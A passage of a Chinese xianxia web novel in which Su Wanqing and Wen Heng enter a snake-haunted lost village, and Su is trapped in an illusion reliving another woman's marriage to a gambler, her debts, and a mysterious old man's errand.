“你说结草衔环报恩,但你的恩便是毁了万俟亥的灵魂,陷我于不义。你的恩情太重,我可不敢要。”她初见温衡时并不知他是故人,几番调查,终在幻境确定了温衡便是当初的奴隶。
幻境还有一个名字,称为五行,而在玄武水象阵中她亲眼看到他手上的印记。
温衡幼时曾告诉过她,他的体质很特殊,一旦沾染赤练水,他的手腕便会出现妖印,当时给他的手镯便是试探之物,事实证明温衡便是当年的故人。
“形势所迫,现在也为时不晚。苏凝,苏晚清。”温衡走近一步,继续道,“我若不提,你是否不打算与我相认?”
苏晚清确实没想过,陌路更好,她道:“相认了也改变不了我们之间的立场,何必徒增烦恼?我也不需要你报恩。当年之事,举手之劳。”
温衡却不这么想,至少他少了一个杀她的理由,“你倒是想得透彻,我偏偏放不下。”
“……”
难不成他还想以身相许?
“那你想做什么?以身相许?”苏晚清召出瑶光镜,一点一点地将其送至上空,试图让它驱散掩埋许久的迷雾,亦不忘对他说道。
温衡若有所思地看了她一眼,道:“你若想,倒也不是不行。我可以答应你一个要求,就当做是还你旧恩。”
“你也自刎,死在我面前。”
温衡:“……”这句话莫名地熟悉。
这个要求,未免太过分了。
迷雾渐渐被驱散,有一种拨云见日的感觉,随着障碍逐渐消散,那处被藏在暗处的山村也开始映入他们的眼中。
“苏晚清,好好说。”温衡的语气加重了些,暗含威胁的意味,他继续道,“比如说,替你复仇。”
这个倒是不用,苏晚清没想过靠旁人来实现自己一直想做之事,她同时也在怀疑温衡,怀疑他还有灵力。
“不用,我不需要任何人替我做事,我一人可以做到。温衡,我们道不同,不相为谋。”苏晚清语气十分认真,她转身离去,自顾地走向燕寒舟等人,不再理会温衡。
他若有所思地看着她离开,这个女子从来都是这样,从三年前在沧澜相遇开始,他便时时关注这个女子,她被废修为流落山阳,他本想就此除了这个后患。
她一开始帮助这里的百姓除妖,渐渐地,便开始游走四方,对于那些身无分文的百姓竟也会倒贴钱,那时他在心中嘲笑这个女子真是傻,自己都穷得揭不开锅了,还流露外财。
但,看着苏晚清的眉眼竟有几分熟悉,见苏晚清被沈氏救下,他便藏在暗处观察,这个女子似乎一点也不伤心,每日都笑嘻嘻的,全然忘却了一切伤害。
久而久之,温衡便习惯了待在山阳,就在鬼城买下如意楼的三楼,当他意识到这种举动扰乱了他的思绪,就在来山阳的第二年回了天魔宗。
后来,他又在盛京遇到了苏晚清,他听到司马觉唤她“阿凝”,她也姓苏,会不会就是苏凝?但她身上没有玉佩,也没有那道印记。
直到他闯入清风明月山布下的幻境,在幻境里面,他略施小计,便试出了苏晚清便是苏凝,她的后颈确实有被裂魂索伤过的印记,她此次带了玉佩,是她无疑。
他却不想在这样的场景下相认,但他意识到苏晚清并非缺失记忆时,他相认的心思越来越重,最后他得知奉剑山庄将有一场宴会,他便主动请缨,会会苏晚清。
苏晚清,我既然认出了你,无论如何,我们之间的羁绊是不会断的。
*
一行人瞧着迷雾揭开,正考虑是否要入荒村,身后无路,幕后之人似乎有意引他们前去里面,眼下除了三人,其他人一点灵力也使不出来,贸然前去,实在太危险。
秋无意的伤势好了许多,看着一前一后的苏晚清与温衡,更是气得不打一处来,当即就道:“还说他们不是有私情,老夫看清风明月派早就与天魔宗相互勾结。”
这话崔瑶可不附和,侮辱苏晚清可以,但是自家师门可不行,她回道:“前辈,苏晚清已经非我清风明月中人,您说话时可得好好斟酌。”
“呃……”秋无意暗暗在心里咒骂,也不说话了,眼下还是不得罪这些人为好,等他恢复灵力,这些人一个都逃不过。
燕寒舟治好了伤便提剑靠在身后的石壁,闭目沉思,想着应该如何处理,耳畔总是响起崔瑶若有若无的声音,时不时地便被打断了思绪。
看着正在往这里走来的苏晚清,燕寒舟提步上前,一脸仇视地盯着温衡,对苏晚清道:“师妹,妖邪终究是妖邪,你还是远离为好。”
话落在了温衡的耳中,他也不恼,笑道:“说得对,妖邪是应该远离。”
众人一同商榷,还是决意前去荒村走一遭,路上白骨森森,积累成山,也数不清有多少人丧命于此。
走至荒村入口,全然是一阵贫瘠荒凉的景象,除了那块印有“虚妄村”三字的牌匾底下青草葳蕤生长之外,他处皆是惨不忍睹。
“虚妄村,失踪已久的虚妄村怎么会在这里!”
地面一片潮湿,空气里萦绕着腐肉的气味,呛得人十分难受,他们捂着口鼻前进。
“
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这是什么?”一个别派的使者低头蹲下拾起了一个白、圆若蛋的东西,拿在手上观摩,燕寒舟瞥了眼,道:“蛇蛋。”
闻言,那人赶紧轻轻放下,不敢丢下,怕招来群蛇攻击……等等,这里有蛇蛋,是不是说明有蛇寄居于此,那不得赶紧往返,没等那人迈步,燕寒舟补充道:“回不了,从我们来此的那一刻,在这里寄居的东西就已经被惊醒。”
“到底是什么人要引我们来此赶尽杀绝?百阅派掌门从婚礼后就没有再出现,难不成是他?他没理由杀我们啊。”那人仔细地分析,语调越来越高,着实想不明白。
温衡默默站在苏晚清的身后,忍不住插嘴:“能够驱动蛇妖,制作灵力尽失的毒物,你觉得他还是季九吗?”
那人真听进去了话,思了片刻,脑子里犹然想起来了什么,没等他说完,一条体型庞大的巨蛇忽然窜出,将那人死死缠住,带离了这里:“难道是……李……李……唔唔,救我!”
巨蛇爬得极快,瞬间将那人吞入腹中,一声嘶吼过后,就没了影儿,只有被碰撞后依稀倒塌的建筑物。
燕寒舟执剑追了上去,放下嘱咐:“我去救人,你们速速寻个安全的地方。”一道掠影闪过,燕寒舟便没了踪影。
蛇类,能够驱逐蛇的东西,苏晚清那时未来得及带些雄黄,不过乾坤袋里似乎还留着些红花酌浆草,想到此,她立即拿出来分给了众人。
“红花酌浆草有避蛇之效,各位将它涂在身上。”众人拿了东西,又退回刚才之地,崔瑶迟迟没要,放不下面子。
苏晚清唤其一声,丢了一包过去,知道崔瑶还在耿耿于怀,她道:“玉秀之事我先不怪你,保住性命重要。”
“我呢?苏晚清。”温衡见她迟迟未给自己,拍了拍她的肩膀,待她转身,对她说道。
苏晚清知道他的意思,可眼下只有最后一包,她迟疑了半晌,终是将其丢给了温衡,不忘道:“没有你的份,你就自求多福。”
话音刚落,苏晚清只觉心间一阵绞痛,她紧紧捂着,随之蹲在地上缓了缓,额间青筋暴起,汗液自上滑落在地。
温衡未动,跟着她蹲了下来,迟疑的手终是未落在她的背后,只是问道:“苏晚清,有没有事?”待她抬头,温衡便将草涂在了她的脸上、手上,眼中能看到她震惊的表情。
“你做什么?”苏晚清忍着绞痛站起来,止了他的动作,与他拉开了一段距离。
温衡将东西给了她,说话的语气不免带上了些许担忧的意味,他问道:“既然没有了,还给我做什么?你不是讨厌妖邪吗?”
“你这人话怎么这么多,给你就给你了。”苏晚清此刻的声音因痛不由得提了起来,甚至还有几分羞恼,她想寻个地方调息,未等她行此想法,崔瑶那边便出了事。
“苏晚清!有蛇!”崔瑶的声音淹没在嘈杂的声音,她紧张地跑过去,除了崔瑶,其他人都在此。
“崔瑶呢?她去哪里了?”设下的结界没有被破,依旧完好无损,但是崔瑶的踪影却是已经不见。
秋无意捂着伤口,坐在石壁上,甚是不以为意地道:“小辈喜欢逞英雄,倒成了这些妖物的果腹之物。”
其实不然,刚才崔瑶是发觉有妖物靠近此地,未等她靠近,便被一道力量扯去了结界之外,那些人不敢上前拉她,她挣扎了片刻便被拉了出去。
苏晚清置若罔闻,询问崔瑶是在哪个方向不见的,待得知后便打算前往,临走之际温衡拉住了她的衣袖,道:“苏晚清,我若是你,就让她自生自灭。”
“她终究是我师妹,她不能死在这里。”说罢,她扯下温衡的手,抬手施法加固了这里的结界,便执剑远去。
一炷香之后,崔瑶被丢进了结界里面,温衡扶住了其人,却迟迟未见苏晚清的身影,他道:“苏晚清呢?”
崔瑶惊魂未定,害怕地蹲在地上,站起来时双腿不停地颤抖,声音也是带着哭腔,道:“她,她为了救我,受了那妖怪一掌,就把我丢了过来……我不知道她有没有事?”
31. 忆梦铃(5)
温衡心中顿时一紧,面上显露几许担忧之色,顷刻,他瞧了眼惊魂未定的崔瑶,不再迟疑,径直走出了立下的结界。
外面并无苏晚清与燕寒舟的身影。
他们会在哪?
寂静的旷野无一点动静,安静得不似一处曾居住过人的地方,连风声都变得微乎其微。遍地白骨,他随意拾起较为新鲜的骨头,仔细探查过后,发觉并非苏晚清,而是男骨,应当是刚才那个话多的弟子。
他随手一丢,不再在此处逗留。
穿过这一片尽数倒塌的建筑,他停在了最初的入口,稍稍莞尔,便抬手震碎了阻挡着的隐形屏障,碎裂成大大小小的蛇,皆朝他肆意而来。
温衡后退几步,身后一剑凝出百剑刺穿了群蛇,将其烧为灰烬,迈步走了进去,却不想在提步那刻,遇到了位身着嫁衣的女子,拦了他的路,说道:“你和他们两个是什么关系?他们急着找死,我不拦着,可你,我看着十分喜欢。公子觉得我美吗?”
“美,任姑娘顾盼生姿,巧笑倩兮,如何不美?”温衡脱口而出,他的目光渐渐移到任净雪的脸上,上面的妆容依旧是新娘妆,唇上的胭脂火红灿烈,若未滴的晨珠,很是诱人。
他的手逐渐上移,靠近任净雪的脸,刚想触及,任净雪就蹿地一下离去,在他身边转了一圈,回握着他的手,缓缓抚上自己的脸颊,眼神勾人得紧,她笑意晏晏,掩藏几分深不见底的心思。
“既然如此,公子要不要与我在一起?现在奉剑山庄、百阅派都是我和师父的,你和我在一起,一辈子都是荣华富贵。”任净雪另外一只手也攀上了温衡的脖子,将两人的距离拉得更近,耳畔都是她蛊惑的声音,“这些人都不识抬举,被我丢进了里面喂蛇。我觉得像公子这样识时务的人就该好好活着,考虑考虑?真的不喜欢我吗?”
任净雪的手绕到温衡的身后,五指张开,尖锐的利爪正欲刺穿他的后颈,却不想在下一刻反被温衡制住,弹在了地上,滚了圈再站起来面对温衡。
温衡拾起目光,目光下移,稍有几语戏谑之意:“任姑娘,不是说要与我成亲吗?怎么要杀我?果然啊,漂亮的姑娘最会骗人。”
“你,你为何还有灵力?这,这是我师父之物,你怎么会有?”任净雪刚想还手,便被男子手中旋转着的玉箫散出的光刃击中,瞬间被桎梏在原地,无法动弹,她嘴角渗着鲜血,忍不住问道。
温衡闻言瞧了眼手中的玉箫,走向任净雪,将其展现在她的眼前,顺道晃了晃,道:“成王败寇,李若酌输了就把它赔给我,现在归我所有,这怎么能是你师父的东西?”
他现在没空与任净雪周旋,他得进去看看苏晚清死没死,于是温衡也不等任净雪回答,而是先她一步走了进去。
“你这个无耻之徒!”
任净雪的声音远远落在身后,待温衡进入虚妄村后,她的立即挣脱了束缚,抹开嘴角的血,忽然笑了起来。
既然都来了,那就都好好玩玩。
血腥味蔓延在周围,云烟缭绕遮蔽了前路,未等他靠近,前方便传来什么东西的嘶吼,待迷雾散尽,一阵强光瞬间充斥这方地界。
他不禁紧闭双眼,眼睛顿时黑了起来。
光芒趋于消散那刻。
她的双眼缓缓睁开,自黑暗到明亮,只用了片刻,便觉已过几个时辰。
似有何物遮去了她的视线,借着屋里微弱的烛光只能看见些许泛着红色的光线,手腕传来阵阵疼痛,她瞥眼一看,竟是多了几道淤青。
苏晚清记得她和燕寒舟合力对付那物,她执剑刺入了巨蛇的七寸,面容沾了很多零星的血渍,顺着她的汗液一同坠入地底。
玄色迷烟来得极快,初时不觉,而后她和燕寒舟早在入村之时便已吸入了这烟,一时不查便昏厥过去倒在了地上。
恍恍惚惚间,她仍能感觉到任净雪提步而来,身边还跟着一个年长的老者,听任净雪说:“先别杀她,我想到一个很好玩的法子,既可以折磨苏晚清和燕寒舟,也能让师父如愿。就让他们,也尝尝我的苦楚!苏晚清亦是女子,我想看看她会怎么做。”
一切都来的太快,李若酌迟迟不肯现身,莫不是在等待一个杀她的时机,她得小心谨慎,以防贼人偷袭。
思忖良久,她的心脏像是被一把利刃扎了进来一般,疼痛唤醒了她的意志,手上显现出的灵力开始变得虚幻,渐渐接近消亡。
得再抓紧时间了。
此刻,她正坐在床上,头上有些沉重,还盖着块布。顿了会儿,她揭下布,起身离床,不经意间在暗黄色的铜镜里瞟了眼。
红妆粉饰,胭脂扣唇,一派新娘的行头,脸还是她的脸,但这一身都不是她所有。
“任净雪,你到底想做什么?”她在心中默默地道。
她瞧着自己这身嫁衣陷入了沉思,说是嫁衣,其实也不见得,只是在这件普通的红衣上面绣了只不伦不类的凤凰,乍看不觉是凤凰。
门外忽然一阵热闹,涌动的人声瞬间出现在了屋外,她也不打算回床上坐着,目光紧紧地盯着屋外,看着被人推搡进来的那位着新郎服的男子。
“朱兄啊,今日娶了美娇娘可别忘了我这个好友啊,明日还在老地方见面!你不来,我不走——”此人的声音听起来格外熟悉,她仔细一听,发觉竟是杨焕的声音,但再看那人模样时,竟是燕寒舟的长相……
除了燕寒舟,还有崔瑶以及前来奉剑山庄的各派人氏,他们似乎扮演着不同的人,全然没有了自己的思绪,跟着任净雪给的指引行动。
而那朱文聪便是与她成亲的夫君,瞧着身体纤细得不行,甚至比她还要瘦弱,眉眼间带着几分书卷气,其长相陌生得很,非熟悉的面孔。
朱文聪已经有了醉意,差点站不稳,将大手一挥,径直倒在了地上,他面色潮红,催促着众人离开,拉着杨焕道:“杨兄,明日,不醉不归。”
在离开之际,杨焕在朱文聪低语了几句,只见朱文聪脸色霎时变了色,瞪大了双眼,张口欲言,却难言,煞有心事地看着杨焕离开后一脸生气地一脚踹开房门,紧紧攥着苏晚清的手,却迟迟不语,顷刻过后,掉头离开了房间。
不明所以的苏晚清静静地看着他离开,挽留的话悬在嘴边,还是喊了出去:“朱文聪,今夜是我们的新婚之夜,你要去何处?”
朱文聪冷笑道:“你已是我的妻子,如今我便是你的天,我想去哪里你都没有过问的权利。”
“你什么意思?”她的口气也被那人语气带动,逐渐由最初的欣喜转为难过与生气,道,“当初是你要娶我,如今也才拜堂,你便如此待我,我抛弃一切随你入这穷山恶水的山村,这便是你对我的回报吗?夫君。”
这声“夫君”企图唤回从前的温存,可那男子依旧是副不耐烦的模样,态度也不比从前,“娘子,我这是想着用功读书,考取功名好叫你做那诰命夫人。”
未等她回复,朱文聪便快速地关上了门,这让她着实不解。答案很快便被揭晓,一连几日,朱文聪都会外出去一个地方——茶社。
这里美名其曰茶社,实则为纸醉金迷之地,每日来往的非贵即贫,这里坐庄的正是秋山派的大弟子一山。
她,
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也就是“任净雪”寻着机会跟了上来,正巧赶上朱文聪被人踩在脚下,左手的筋已经被挑断,脸上也多了道血淋淋的疤痕,看着触目惊心。
“娘子,救我。”这个情形与当日在如意楼所发生的事格外相似,苏晚清本能地后退了一步,避开那只沾了血的手,目光徐徐向下,略见担忧之色,道:“夫君,你可有事?”
拿出块缝了几个口子的手帕替他擦了擦血。
“欠债还钱,天经地义。欠了钱,没有钱就断只手断只脚,下次看你还敢不敢装蒜。”面前走来一十分强壮的男人,枯黄的脸庞略鼓,她觉得地震了几下,接着听其人指着她道:“现在还剩只脚,你是他夫人?有钱还钱,没钱就再断只脚。”
“你,你好歹是修仙之人,如此为难我们,就不怕你师父怪罪?”苏晚清一边扶住朱文聪,心疼地看着,一边忍不住说道。
一山一把提起朱文聪的脖子,另外一只手执刀欲下,道:“师父教我按规矩做事,这个人和那姓杨的软性子喜欢装阔绰,输了钱,也有惩罚。姓朱的有什么好?臭书生一个,没胆识,没担当,还梦想考取功名,做他的春秋大梦!”
说罢,一山将人狠狠砸在地上,示意手下按住,挥着刀,寒光映射在她的脸上,几乎是在一瞬之间,她身体不受控制地挡在前面,颤抖着声音道:“多少钱?我给你。”
一山让人退下。
“三万两!银钱收讫,当面点清。”
她松了口气,但眼里依旧有畏惧之意,咽了咽口水,尽量使自己的声音听上去平稳一些:“好,你给我半月,我定凑来。”
“就半月,时间一到,我见不到钱,你和这个废物都得赔给我。”一山留下寥寥几语便将他们赶了出去。
街上来来往往的行人各怀心思地看着两人,心中腹诽而不宣之于口,匆匆瞥了眼便摇着头离开此地。
回到家中,她刚扶朱文聪坐下,面上便传来一个巴掌,快速而有力,她的脸上瞬间便多了一个巴掌印。
是她的婆婆朱氏。
“你一来就没有什么好事,可怜我的儿啊,这手就这么废了。”朱氏狠狠地瞪了她一眼,借着过来的间隙猛地将她推开,转向朱文聪时又是一副掉了肉的模样,心疼极了。
刚想回对方一巴掌却发现手被控制放了下来,随后打算质问对方的话到了嘴边就变成了委屈地询问:“婆婆,不是我的错,是夫君他……”
朱氏气得五官开始扭曲,看上去十分可怖,他的音调提得很高:“不是你还能有谁?我早知青楼女子不是好货,才进门就害我儿如此,我看就该把你赶出门去!”
她掌心的灵力开始消散,语气也不禁软了起来,“我,婆婆,文聪已经受伤,我现在不能走。”随后苏晚清刚想靠近却反被推到了地上,撞在了桌上的角。
这人,欺人太甚。
嘶……很痛,真想一掌拍死这对母子。苏晚清现在开始明白任净雪的意图了,无非就是要她也经历一遍这样的经历。
她眼神不受控制地向朱文聪求助。
朱文聪会了意,立即道:“娘,这事不是添香的搓球,我们现在欠了一山三万两,现在不是纠结这个的时候。”
朱氏心里一个咯噔,刚想问其中细节却见朱文聪按下其手,微微摇头,视线飘至她的身上。
“好,这次便不追问你的过错,但三万两的事你得办好,办不好就将你赶出去!”
苏晚清:“……”
好个仗势欺人的落魄人,专挑软柿子捏,这朱文聪也不见得是个好人,倒是挺会让旁人作恶,自己独坐高台。
32. 忆梦铃(6)
命运专挑苦命女子,三万两若七品官员的月俸,不说如今山阳知县叶远山的月俸比这少许,任是她去抢短期也凑不出如此多的钱财。
“婆婆,我哪有这么多钱?”她想不出从哪里凑这么多钱,就算是从前积攒下的钱财也就一万两,这是她二十年来省吃俭用才留下的,也无法补得了这个空缺。
朱氏哪里管得了这么多,指着她道:“我管不了这么多,你害我的聪儿变成这样,这钱本就该你出!你要是再害他受伤,我,你就从哪里来回哪里去。”
朱文聪一言不发,被朱氏搀扶回房,只留她一人站在原地错愕。
“这都是些什么腌臜之人,怎能如此欺负一个女子。”苏晚清忍不住在心中腹诽,试图汇聚掌间灵力时,一丝若隐若现的灵力粉尘浮现而出,只在那刻,她的心脏又如撕裂般疼痛,她捂着心口靠在掉漆的木桩良久,才缓了过来。
她得弄清楚这是什么幻境,任净雪不会简单地只让她看过往,定有其他的阴谋。
正当她准备坐下调息之时,她的身体不受控制地走了出去。一出,所处的地方瞬间就变了样子,先是山阳的鬼城如意楼,再是杨氏布庄。两者变化速度极快,轮换亦然,最终定格在如意楼里。
如意楼是任净雪的曾经之所,拮据之时别无他法,她会来此也实属理解,但因她是私自与人私奔,这里的老鸨与各位姐妹也处处不待见她。
吃了闭门羹,她只能原路返回,却在返回之时瞧见了杨焕,本想绕道而行,却不想他伸手拦住她的去路,两目相对,久而不语。
顷刻,她没半分好眼神,冷不防地道:“你家中的夫人可知你当街拦下已婚配的旧情人?杨焕,你撺掇我家夫君涉猎赌坊又选择独善其身,你究竟想做什么?”
刚一抬头就看到燕寒舟那张熟悉的脸,看上去十分别扭,于是她微低了些头,尽量不与其对视。
杨焕笑了笑,将她扯到了一旁偏僻狭小的街道,两人的距离近了些,他的目光紧紧追随着她,听他话里的意思似乎觉得这并没有什么错处。
“我只是多说了几句话,朱文聪就能抛下你,赌是最能吸引人的,昨夜我与朱兄说了句‘今夜的茶社会有位大人物’结果,他自己手气不足,明明都输得连家底没了还要再试,这也怨不了旁人。添香,我是为了你好,你们还未成为真正的夫妻吧?”
这副口吻,着实令人不悦,她扬手欲扇,那人敏锐地捉住她的手放置鼻间轻轻一嗅,一副畅快淋漓的模样。
……呃。
她挣脱而出,巴掌切切实实地落在男子的脸上,骂道:“无耻。你诱导在先,害他丢了执笔的手,也丢了前途。你这么做,无非是为满足私欲,你嫉妒朱文聪文采斐然,不必将我作为这肮脏的借口。”
“有吗?我如今的夫人可是山阳首富之女,我还用得着嫉妒他一个穷酸?”杨焕捂着脸笑得更加开心,丝毫不因疼痛露出难色,只是在回复她时语气也染上了生气,轻哼再道,“添香,你来此不就是来借钱吗?我有啊,你和我借,只要你答应我的要求。”
□□满满,想都不用想会是何事。
不需要,苏晚清正想甩手离开,可身体却纹丝不动,愣了许久,还是道:“什么要求?”
杨焕忽而凑近她,在她耳畔低语几许,温热的唇忽摩挲到她的耳侧,她心里一阵反胃,这次终于如她所想一般地推开了那人,脸上既是羞色,又是生气,她道:“我就是死,也不会应你所求。倒是你,攀上林小姐后依旧水性杨花,不知收敛。”
她不想纠缠,转身离去。
“你会回来的。”
他所言无错,任净雪在山阳除了如意楼的姐妹与杨焕之外,便再不识得他人,眼下当真无人能帮他,但好运有时亦能降临在她的身上。
街角拐角处,一断臂的老者匍匐在地叫住她,虚弱且苍老的声音令她在原地驻足,转身寻那来源,她瞧见后蹲下。
因看不清老者的面容,她只能先掀开遮在老者脸上的头发,刚一掀开,那老者露出了一点面容,脸上蠕动的东西相互缠绕,他倏忽往前一凑,嘿嘿笑了两声,着实将她给吓了一跳。
随之而来的药草味也呛得她十分难受。
她吓得坐在地上,不敢再有任何动作。
“你,你叫我做什么?”不仅仅是当时的任净雪,纵是如今的苏晚清也被这副样子吓了一跳,未能看清老者完整的面容。
老者慢条斯理地坐在原地,整理了一下脸上的头发,嘴唇在动,却听不见他在说些什么,过了一会儿,才道:“小姑娘,你吓到它们了,嘘,小声些。”
“啊?哦哦哦,您叫我是为何?我如今自身难保,暂时接济不了你老人家了,还望您见谅。”
她还没有缓过来,一遍又一遍地在心中安抚自己。见老者不答,便想提步离开,谁知老者掐指一算,道出了她的处境:“一花一草,一难一劫。姑娘,你现在是大难临头,是须钱财解难,还是一笔不小的数目,老朽来看,应当是这个数。”
他伸了三根手指。
她问:“三百两?”
老者摇头,说道:“三万两!”
……这神棍还说得还挺对,看那副腌臜模样也不神神叨叨,莫非真是哪路下凡的神仙?不过直觉告诉她,这件事没有这么简单。
“只要你替我办件事,三万两老朽就送你了。”他嘿嘿了两声,随手从身上揪出一条小蛇,放在她的面前晃悠,“这件事也不难办,替老朽送样东西,仅此而已。”
说实话,这说得她都有些心动,她迟疑地道:“你会对我这么好?送什么东西?老人家,你把这个东西拿来。”蛇信子离她近在咫尺,仿佛下一刻就要咬在她的脸上。
老者点了下蛇尾,它立即钻回老者的衣袖里面,“把这个,交给百阅派的掌门季九。就这么简单,这桩生意你做不做?”
苍老的声音里带着些许诱导,他递来一个满是尘土的木盒,看上去十分普通,原先的漆色已经淡去了不少。
她刚要借此打开时,耳畔寻来威胁的声音:“小姑娘,此物认主,贸然打开受伤的只会是你,老朽这里无良药为你医治,好好拿着。”
“我凭什么替你送东西?”她将物什轻轻放在地上,随后转身离去,这样的好事岂会落在她的身上,反正当时的任净雪是不信的。
老者随手变出了一锭银子,丢在地上,咣啷的声音很是吸引,她眼中惊色愈发深重,蹲下身子拾起银子还给老者,“这是你的东西,我不要。我与你非亲非故,你给我这么多钱,定有所图谋。”
“你会要的。”老者似乎很笃定,也不急着拦人,任她离去。
今日一无所获。
回到家中。
走至门外,门庭若市。诸多邻里聚在门外观看,指指点点,也不知在议论何事,见她逐渐靠近此处也暂时压下好奇的心思,投向她的目光竟也多了一些可怜。
“发生何事了?”
她一进门便看到一片狼藉的各种陈设,笔墨纸砚被人扔在地上,一群人正按着朱文聪与朱大娘,为首之人正是秋山派的大弟子一山。
“你,你为何
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不遵守承诺?眼下才过去三日,明明期限还有十二日。”她望向被紧紧牵制住的两人,心里不由得一紧,冲到一山面前质问道歉。
一山朝地上吐了一口唾沫,径直地扳断了朱文聪的一只手指,还想再来时忽然换了想法,将人丢在地上,男子痛苦的声音在一山听来悦耳极了,他道:“添香姑娘,这可不是我的错。你家夫君管不住自己的手,又到我茶社赌了三次,眼下又欠下了两万两。这次要是再不给我赔钱,虚妄村你们一步也走不出去!”
“朱文聪!”她失望地道,“我原以为你是良人,没成想竟是赌徒。”
朱文聪一言不发,仿佛沉浸在这个人的痛苦与麻木之中。
朱氏赶紧哀求道:“好儿媳,你赶紧救救我们啊,他们要将我老婆子沉塘,我可以死,但聪儿不可以死,你快救救他啊。”
……
“哎哟,添香姑娘,这种人就别救了,赌鬼是救不了的。”说着,一山便废了朱文聪另外一只手,刀落之时,她挡在其前,徒手接下了锋利的利刃,掌心被划之处立即渗出鲜血,流在地上。
一山见状立即收刀,不解地道:“我可没有欺负女子,是你自己过来挡的。别以为来了一出苦肉计,我便能饶过你们,该断的手还是要断,不长记性的人就得痛一痛,就能有所忌惮了。”
“等等。”
“我给你们钱,不过我这里只有一万两。”她将自己藏好的钱财一并交给了一山,手上的血还是流淌,痛令她更加清醒。
“不不不,现在要的是五万两,只有一万两怎么够,还是得断。”
一山的审视的目光落在她的身上,丢给她一块止血的方巾,嘴角勾起的微笑仿佛正在谋划着阴谋。
求饶声再起,恻隐之心亦起,她脑海已经乱作一团,不知如何挽救,画面迅速掠过,忽而,定格在刚才遇见的那位老者身上。
“给我一个时辰,我定凑来。”她忍着痛包扎伤口,狠狠一勒,痛感更甚,她咬着牙道。
一山摊了摊手,道:“随意,倘若半个时辰你回不来,他们两个每个人都要赔给我一样东西,还有你,也要赔给我。”
“你做梦!卑鄙无耻小人。”
*
回到路遇老者之地,她快速扫过各个角落,丝毫不见老者身影,就在她一筹莫展之际,她的眼前登然冒出张充满窟窿的脸,吓得她撞到了身后坚硬的石墙,身上是一阵疼痛。
又是嘿嘿的笑。
“怎么了,小姑娘,后悔了?”老者见自己的目的得逞,就放下头发,退了一步,把玩着手中的银蛇,漫不经心地道。
她害怕得咽了咽口水,随后急迫地道:“你能给我多少钱?”
“随意,老朽与你有缘,无论你说几个数,自当满足。”他重新将木盒放在她的手上,随口说了一个数,“十万两。送好东西之后,钱就是姑娘的了。”
她脱口而出:“不行!现在可否?”
老者怔了一下,随即将手指放置鼻间,缓缓拂过盘绕在他手腕的银蛇,轻声地道:“嘘,小声点,你会吓到它的。当然可以,老朽先给你五万两,送好之后,剩下的钱都归姑娘。”
“你保证,这个东西不是害人的。”最后,她还是再确定,见老者重重地点头从肯抱着东西离去。
“你还得吃了这个东西。”
她沉思片刻,终是拿着咽了下去。
在她离开那刻,老者掀开头发,目光追随那道身影,心里的欣喜不禁洋溢,盘旋于脸上。
百阅派,将会是一个好去处。
33. 忆梦铃(7)
钱财两交,危难暂时也被解除,苏晚清拾起地上散落在地的东西,扶起躺在地上的朱文聪与婆婆,谁知朱文聪一站起来反手便给了她一个巴掌。
“你为何打我?”她捂着脸,泪眼婆娑地盯着衣衫破旧的男子,声音颤颤小若蚊虫,不敢质问。
朱文聪掸去灰尘,死死抓着她的手,咬牙切齿地道:“这钱你是从哪里来的?是不是杨焕给你的?你和杨焕做了什么!”
她的手腕瞬间便红了起来,碍于力气太小,她只能被人禁锢,挣脱不得,只得委屈地辩解:“夫君,你弄疼我了。这钱是一位……”
话未说完,又是一巴掌落在了她的另外一侧脸,这次是遍布皱纹的手,这股力量将她倒在地上。
“你还狡辩。”朱氏害怕的神色荡然无存,转由丑恶嘴脸掩盖。门外的邻里趴在门窗透缝隙瞥见里面的情况,看得正起劲之时,忽而有样东西砸了下来,紧接着便是男子气急败坏的声音从里面传至外面:“滚!看什么看,都给我滚!滚!”
众人吃了瘪,只得离开此地,临走之际,也不忘数落几句。
瓷器碎裂声一阵又一阵地袭来,也无人再有这个闲情去探究是何缘故。
这个男子原本就属于清秀的面容,此刻却沾染上了诸多本不适合他的情绪,他的五官渐渐扭曲,眉间那股书卷气荡然无存,烟消云散。
她被这样的朱文聪吓住,捂着受伤的手从地上站起来,刚触及到他的臂膀时,被他无情地丢开。
“哼,我嫌脏。”朱文聪指着地上的苏晚清,那副语气无半分对妻子的敬重,他恶狠狠地道,“杨焕算什么人?若不是他带我识得赌,我又岂会落得这样的下场?添香,你是不是早就与他勾结好了,让我变成现在这样!”
苏晚清:“……”这人八成有病,自己无法克制自己的欲望,便将最终导致的后果怪罪于他人真是好一出厚颜无耻,但当时的任净雪却不是如此。
她的眼泪不争气地流了下来,未语泪先流,哭得是那叫一个梨花带雨,她真觉着任净雪造的这个幻境很厉害,连她此刻都不能冲出障碍。
“朱文聪,你冷落我在先,如今又污我名声,当初是你万般乞求我与你在一起,我为你放弃在山阳的一切,到头来竟抵不过你的猜疑吗?”声音不是她的,相比苏晚清的声音来说,此刻所发出的声音要更温柔些许,带着哭腔说道。
但朱文聪只是冷冷地看了她一眼,选择关门离开,留她在原地。
她看着那人离去,心中一阵难受,打算追逐出去,“朱文聪!”
一连几日,皆不见朱文聪的身影,直到杨焕的到来她才知他原是去了山阳的如意楼。
她追到了山阳的如意楼,望着躺在花楼女子的朱文聪,怒意直拥而来,当即就破门而入,真正见到他的那一刻她的生气瞬间便消了,转为了心灰意冷,对着他淡淡地道:“朱文聪,我们和离吧。”
“小香,和离哪是这么容易的?”朱文聪就靠在小蝶的玉枕上,心里打定她只是在虚张声势,“你想与我和离好去与杨焕比翼双飞,我不许,我偏要与你纠缠。”
她抓住桌上的石器便砸了过去,朱文聪躲闪不及,脑门上被砸出了个窟窿,流了一地的血,他捂着脑袋,不可置信地道:“你敢砸我?我告诉你,这事不会那么简单,”
这事闹到了官府,三年前的县令正是叶远山,官府也只道是家常事,准许他们和离。
如此看来,任净雪也不是个痴缠女子,也识得清轻重。
那日过后,朱文聪收敛了许多,说什么也不肯和离,跪地乞求她留下,她一时心软便留了下来。
但好景不长,朱文聪每隔一段时间便与杨焕相约如意楼,街坊邻居都在嘲笑她,说她咎由自取,也说原来朱家文聪是个不伦不类的秀才,这辈子也别想考取功名了。
“我便是要离开,你拦不住我。”
终于在某一日,她偷偷从虚妄村溜出来,决意先去百阅派送好东西,她足足走了三日,期间昏倒了两次,饱经沧桑,终是抵达了百阅派的山门,却是累得倒在了门前。
雨点淅淅沥沥地落在她的身上,恍惚之间,她觉得自己似乎被人抱在怀里,还未看清是谁,她便昏厥过去。
百阅派掌门名为季九,是位极好的修仙前辈,也向任净雪抛出修仙的橄榄枝,但那时任净雪已与杨焕相识,便回绝了前辈的提议,这次她的到来,倒是令季九一喜,以为是她想通,肯舍下红尘,入他仙门。
